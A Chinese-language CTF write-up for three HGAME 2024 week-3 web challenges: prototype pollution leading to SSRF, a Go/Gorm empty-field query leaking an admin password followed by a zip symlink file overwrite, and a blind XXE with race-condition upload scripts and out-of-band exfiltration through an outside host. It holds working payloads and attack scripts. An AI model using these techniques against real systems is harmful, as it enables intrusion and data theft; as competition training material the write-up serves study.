HGAME week3-web wp

三道web,搓出来两道,还是可以了哈哈哈哈哈~~~

直接长话短说。

WebVPN

js原型链污染。

首先审计源码,index看到个登录路由:

重点就是app.js:

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
  session({
    name: session_name,
    secret: uuidv4().toString(),
    secure: false,
    resave: false,
    saveUninitialized: true,
  })
);
app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

app.use("/proxy", async (req, res) => {
  const { username } = req.session;
  if (!username) {
    res.sendStatus(403);
  }

  let url = (() => {
    try {
      return new URL(req.query.url);
    } catch {
      res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {
    res.status(400);
    res.end("your url is not allowed.");
  }

  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);
      if (key.trim() !== session_name) {
        filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
        });
      } else if (req.method == "GET") {
        return axios.get(url, {
          headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});

app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
    typeof username != "string" ||
    typeof password != "string" ||
    !username ||
    !password
  ) {
    res.status(400);
    res.end("invalid username or password");
    return;
  }
  if (!userStorage[username]) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  if (userStorage[username].password !== password) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  req.session.username = username;
  res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

app.get("/home", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
    return;
  }
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),
  });
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`);
});

网站登录了一下,就是个访问域名的东西。

 

而且proxy路由访问有域名检测:

app.use("/proxy", async (req, res) => {
  const { username } = req.session;
  if (!username) {
    res.sendStatus(403);
  }

  let url = (() => {
    try {
      return new URL(req.query.url);
    } catch {
      res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {
    res.status(400);
    res.end("your url is not allowed.");
  }

  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);
      if (key.trim() !== session_name) {
        filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
        });
      } else if (req.method == "GET") {
        return axios.get(url, {
          headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});

意思就是必须按照它上面的strategy来访问,不然就会访问失败。

逆向审计一下,从/flag看起,类似SSRF那种要127.0.0.1本地访问。

然后网上看,cookie没什么特别的,直到看到update函数:

太眼熟了,这不原型链污染老熟人merge换皮嘛,而且还过滤了双下划线__,这不就是过滤了__proto__的意思吗。

然后看到user/info这个路由:

这里调用了update方法,虽然是对info进行改变,但是我们可以通过constructor->prototype的方法调用它的Object,污染strategy属性。

思路一步到位,直接原型链污染打user/info路由,把127.0.0.1污染到strategy,然后proxy直接传参url=http://127.0.0.1/flag绕过strategy检测

 

发包(注意改content-type):

发现多了127.0.0.1了:

加一个3000端口直接访问flag就出了:

/proxy?url=http://127.0.0.1:3000/flag

访问即得:

也可以直接伪造一个用户,重新登录,这样就可以直接127.0.0.1访问了,不用加端口号:

{
    "constructor": {
        "prototype": {
            "Eddie": {
                "password": "114514",
                "strategy": {
                    "127.0.0.1": true
                }
            }
        }
    }
}

Zero Link

go绕过+软链接。

go分析来自官方wp。

老规矩,先审计源码:

各个api:

package routes

import (
    "fmt"
    "html/template"
    "net/http"
    "os"
    "os/signal"
    "path/filepath"
    "zero-link/internal/config"
    "zero-link/internal/controller/auth"
    "zero-link/internal/controller/file"
    "zero-link/internal/controller/ping"
    "zero-link/internal/controller/user"
    "zero-link/internal/middleware"
    "zero-link/internal/views"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func Run() {
    r := gin.Default()

    html := template.Must(template.New("").ParseFS(views.FS, "*"))
    r.SetHTMLTemplate(html)

    secret := config.Secret.SessionSecret
    store := cookie.NewStore([]byte(secret))
    r.Use(sessions.Sessions("session", store))

    api := r.Group("/api")
    {
        api.GET("/ping", ping.Ping)
        api.POST("/user", user.GetUserInfo)
        api.POST("/login", auth.AdminLogin)

        apiAuth := api.Group("")
        apiAuth.Use(middleware.Auth())
        {
            apiAuth.POST("/upload", file.UploadFile)
            apiAuth.GET("/unzip", file.UnzipPackage)
            apiAuth.GET("/secret", file.ReadSecretFile)
        }
    }

    frontend := r.Group("/")
    {
        frontend.GET("/", func(c *gin.Context) {
            c.HTML(http.StatusOK, "index.html", nil)
        })
        frontend.GET("/login", func(c *gin.Context) {
            c.HTML(http.StatusOK, "login.html", nil)
        })

        frontendAuth := frontend.Group("")
        frontendAuth.Use(middleware.Auth())
        {
            frontendAuth.GET("/manager", func(c *gin.Context) {
                c.HTML(http.StatusOK, "manager.html", nil)
            })
        }
    }

    quit := make(chan os.Signal)
    signal.Notify(quit, os.Interrupt)

    go func() {
        <-quit
        err := os.Remove(filepath.Join(".", "sqlite.db"))
        if err != nil {
            fmt.Println("Failed to delete sqlite.db:", err)
        } else {
            fmt.Println("sqlite.db deleted")
        }
        os.Exit(0)
    }()

    r.Run(":8000")
}

⾸先我们需要登录,登录就需要Admin⽤⼾的密码。在sqlite.go中,可以发现user表已经初始化,且 第⼀个⽤⼾就是Admin:

先找⾸⻚⽤于查询⽤⼾信息的/user 接⼝,从 internal/routes/routes.go => internal/controller/user/user.go => internal/database/sqlite.go ,最后找到 GetUserByUsernameOrToken 函数,我们 可以发现该函数接收username和token参数,先后进⾏查询,并返回查询结果。

以username的查找为例,如果我们传⼊的值为 agu ,那执⾏的SQL语句实际上就是:

SELECT * FROM 'user' WHERE `username` = 'agu' LIMIT 1

由于Go本⾝的“零值”设计,它⽆法区分结构体中某个字段是否被赋值过。

User结构体的username字段是string类型,初始化User对象时,username会获得⼀个默认的零值,这⾥就是空字符串,如果⽤⼾传⼊的username也是空字符串,赋值给User的username属性时,这个User对象的值其实并没有发⽣任何变化。

在GetUserByUsernameOrToken 中,这⾥是给Gorm的Where函数传递了⼀个User对象,如果这个对象的username属性值为空字符串,Gorm内部将⽆法分辨User的username属性是否被赋值过,这导致Gorm在⽣成SQL语句时不会为该属性⽣成条件语句,此时的SQL语句如下:

 SELECT * FROM 'user' LIMIT 1

这个SQL语句会直接查询表中第⼀个⽤⼾,⽽很多⽤⼾数据库的第⼀个⽤⼾就是管理员,这题也是如此。

因此,我们调⽤/api/user 接⼝,设置请求主体中的username、password字段均为空,即可获得Admin⽤⼾的密码。

demo:

POST http://139.224.232.162:30209/api/user
Content-Type: application/json

{
  "username": "",
  "Token": ""
}

跑出密码是

Zb77jbeoZkDdfQ12fzb0

直接进manager登录:

然后就是文件上传位置:

 

当然这里有点小坑,抓包也抓不上,按道理说传压缩包没问题,但是前端逻辑直接给我判定不是zip:

我换了个文件上传的靶场,直接抓包发现content-type对不上。

这是实际传的:

这是这道题要的:

后来搜到个东西:

气抖冷,windows怎么你了....

但是kali虚拟机能传,content-type是application/zip,软链接就不多说了,看到secret是个文件:

而且后端unzip的用了-o,也就是覆盖,直接把secret文件内容覆盖成/flag,然后访问/api/secret就行了:

直接虚拟机上软链接:

依次传link.zip,unzip解压缩,再传link2.zip,unzip再解压缩覆盖app/secret,访问/api/secret交了:

VidarBox

(java什么的最烦了.....)

package org.vidar.controller;


import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller
public class BackdoorController {

    private String workdir = "file:///non_exists/";
    private String suffix = ".xml";

    @RequestMapping("/")
    public String index() {
        return "index.html";
    }

    @GetMapping({"/backdoor"})
    @ResponseBody
    public String hack(@RequestParam String fname) throws IOException, SAXException {
        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
        if (content != null && this.safeCheck(content)) {
            XMLReader reader = XMLReaderFactory.createXMLReader();
            reader.parse(new InputSource(new ByteArrayInputStream(content)));
            return "success";
        } else {
            return "error";
        }
    }

    private boolean safeCheck(byte[] stream) throws IOException {
        String content = new String(stream);
        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
                !content.contains("doctype") && !content.contains("entity");
    }

}

应该是要打一个无回显XXE,check函数可用编码绕过。

详细可以参考一下gxn师傅(大佬tql...):HGAME2024-WEB WP - gxngxngxn - 博客园 (cnblogs.com)

file伪协议有类似ftp的功能:

官方给的也是vps开一个ftp,还搜到一个师傅的方法,没用ftp,用的是条件竞争外带(也好强www):

(ฅ>ω<*ฅ) 噫又好啦 ~hgame2024_week3 WP | 晨曦的个人小站 (chenxi9981.github.io)

但如果不用ftp的上传,就需要人工编写脚本上传。

 

如何把test.xml放到服务器上呢?

这里就类似与php的临时文件包含了,强制上传文件会使得服务器短暂生成临时文件,只要我们够快,把临时文件包含进来,即可加载自定的xml文件。

这里我就不用vps了,因为我vps还没搭web服务,直接本地搞个phpstudy然后内网穿透算了:

xml文件写好后iconv一下:

把test.dtd放服务器里:

upload.py(上传临时文件):

import requests
import io
import threading
url='http://139.224.232.162:30125/' #引入url
def write():
    
    while True:
        response=requests.post(url,files={'file':('poc',open("F:\\Study\\CTF\\HGAME\\WEB\\week3\\new.xml",'rb'))})
        #print(response.text)
if __name__=='__main__':
        evnet=threading.Event()
        with requests.session() as session:
            for i in range(10):
                threading.Thread(target=write).start()
        evnet.set()

xxe.py(包含临时文件):

import requests
import io
import time
import threading
while True:
    for i in range(10, 35):
        try:
            #print(i)
            url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23'  # 引入url
            # print(r.cookies)
            response = requests.get(url,timeout=0.5)
            
            print(i,response.text)
            if response.text == 'success' or response.text == 'error':
                print(i,response.text)
                time.sleep(10)
        except:
            pass
            #print("no")

同时跑这俩脚本,然后DNS外带出了:

(虽然一直报错,但是条件竞争只需要传上去一次就成功了)

泰酷辣!!!!!!

 

ftp来跑的也可以看官方wp:

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_anonymous("/var/www/html", perm="r")

handler = FTPHandler

handler.authorizer = authorizer

server = FTPServer(("0.0.0.0", 21), handler)

server.serve_forever()

后面都大差不差的。

 

下播!!

posted @ 2024-02-24 17:28  Eddie_Murphy  阅读(82)  评论(2编辑  收藏  举报